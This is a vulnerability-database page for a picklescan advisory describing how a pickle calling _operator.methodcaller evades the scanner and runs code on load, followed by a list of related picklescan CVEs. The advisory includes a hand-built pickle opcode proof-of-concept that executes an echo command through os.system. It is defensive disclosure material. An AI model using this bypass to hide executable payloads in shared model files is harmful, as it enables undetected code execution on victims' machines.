Sign in
Deutsch English Español Polski
High

Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.methodcaller

  • Disclosed: 30.12.2025
  • Updated: 11.10.2026 13:19

Summary

Picklescan uses _operator.methodcaller, which is a built-in python library function to execute remote pickle files.

Details

The attack payload executes in the following steps:

  • First, the attacker crafts the payload by calling to _operator.methodcaller function in reduce method
  • Then when after the victim after checks whether or not the pickle file is safe by using Picklescan library and the library doesn't dectect any dangerous functions, pickle.load() loads this malicious pickle file, thus lead to remote code execution.

PoC

import pickle
import pickletools
opcode2 = b'''cbuiltins
__import__
(Vos
tRp0
0c_operator
methodcaller
(Vsystem
Vecho "pwned by _operator.methodcaller"
tR(g0
tR.'''
pickletools.dis(opcode2)
pickle.loads(opcode2)

This PoC can't be easily create by pickle.dumps, so it was manually built.

Impact

Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Report by

Pinji Chen (cpj24@mails.tsinghua.edu.cn) from NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) picklescan < 0.0.34 0.0.34

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weakness (CWE)
CWE-502, CWE-94
Platform
Python (PyPI)
Package
picklescan
Disclosed
30.12.2025
Updated
11.10.2026 13:19

Sources and licenses

OSV / GitHub Advisory Database - GHSA-955r-x9j8-7rhh - CC BY 4.0

Vulnerability history: picklescan

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (58) in the archive
Total entries
58
First → latest
02.2025 03.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 7
  • High 25
  • Medium 26

Disclosures per year

Severity:
  1. PickleScan has multiple stdlib modules with direct RCE not in blocklist
    Critical · 9.8 CVE-2026-56315 < 1.0.4 1.0.4
  2. PickleScan's pkgutil.resolve_name has a universal blocklist bypass
    Critical · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  3. PickleScan's profile.run blocklist mismatch allows exec() bypass
    Critical · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  4. Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
    High CVE-2026-53875 < 1.0.3 1.0.3
  5. picklescan missing detection by simple obfuscation of a `builtins.eval` call
    High CVE-2026-53874 < 1.0.1 1.0.1
  6. picklescan has Arbitrary file read using `io.FileIO`
    High · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  7. Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter
    High CVE-2025-71367 < 0.0.34 0.0.34
  8. Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.methodcaller this entry
    High CVE-2025-71375 < 0.0.34 0.0.34
  9. Picklescan is vulnerable to RCE via missing detection when calling numpy.f2py.crackfortran.getlincoef
    High CVE-2025-71372 < 0.0.33 0.0.33
  10. Picklescan is vulnerable to RCE through missing detection when calling numpy.f2py.crackfortran.myeval
    High · 8.1 CVE-2025-71365 < 0.0.33 0.0.33
  11. Picklescan is vulnerable to RCE through missing detection when calling built-in python operator.methodcaller
    High CVE-2025-71373 < 0.0.33 0.0.33
  12. Picklescan missing detection when calling numpy.f2py.crackfortran.getlincoef
    High CVE-2025-71362 < 0.0.33 0.0.33
  13. Picklescan Bypasses Unsafe Globals Check using pty.spawn
    High · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  14. Picklescan missing detection when calling pty.spawn
    High ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  15. Picklescan has Incomplete List of Disallowed Inputs
    High CVE-2025-71320 < 0.0.33 0.0.33
  16. Picklescan does not block ctypes
    High · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  17. Picklescan vulnerable to Arbitrary File Writing
    High CVE-2025-71321 < 0.0.33 0.0.33
  18. Picklescan Bypass is Possible via File Extension Mismatch
    Critical · 7.8 CVE-2025-10155 < 0.0.31 0.0.31
  19. Picklescan: ZIP archive scan bypass is possible through non-exhaustive Cyclic Redundancy Check
    Critical · 7.5 CVE-2025-10156 < 0.0.31 0.0.31
  20. Picklescan is Vulnerable to Unsafe Globals Check Bypass through Subclass Imports
    Critical · 8.3 CVE-2025-10157 < 0.0.31 0.0.31
  21. Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcommand
    High CVE-2025-71357 < 0.0.30 0.0.30
  22. Picklescan is missing detection when calling built-in python ensurepip._run_pip
    High · 8.1 CVE-2025-71344 < 0.0.30 0.0.30
  23. Picklescan has a missing detection when calling built-in python idlelib.calltip.Calltip
    High · 8.1 CVE-2025-71361 < 0.0.29 0.0.29
  24. Picklescan has a missing detection when calling built-in python idlelib.autocomplete.AutoComplete.fetch_completions
    High · 8.1 CVE-2025-71376 < 0.0.29 0.0.29
  25. Picklescan has a missing detection when calling built-in python idlelib.autocomplete.AutoComplete.get_entity
    High · 8.1 CVE-2025-71358 < 0.0.29 0.0.29
  26. Picklescan has a missing detection when calling built-in python idlelib.debugobj.ObjectTreeItem
    High · 8.1 CVE-2025-71354 < 0.0.29 0.0.29
  27. Picklescan has a missing detection when calling built-in python profile.Profile.runctx
    High · 8.1 CVE-2025-71341 < 0.0.29 0.0.29
  28. Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config
    High · 8.1 CVE-2025-71348 < 0.0.28 0.0.28
  29. Picklescan missing detection when calling pytorch function torch.jit.unsupported_tensor_ops.execWrapper
    High · 8.1 CVE-2025-71370 < 0.0.28 0.0.28
  30. Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass
    High CVE-2025-71325 < 0.0.27 0.0.27
  31. Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate
    High CVE-2025-46417 < 0.0.25 0.0.25
  32. picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pick
    Critical · 9.8 CVE-2025-1716 < 0.0.22 0.0.22

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Privacy policy

Free to subscribe. Unsubscribe with one click in any email.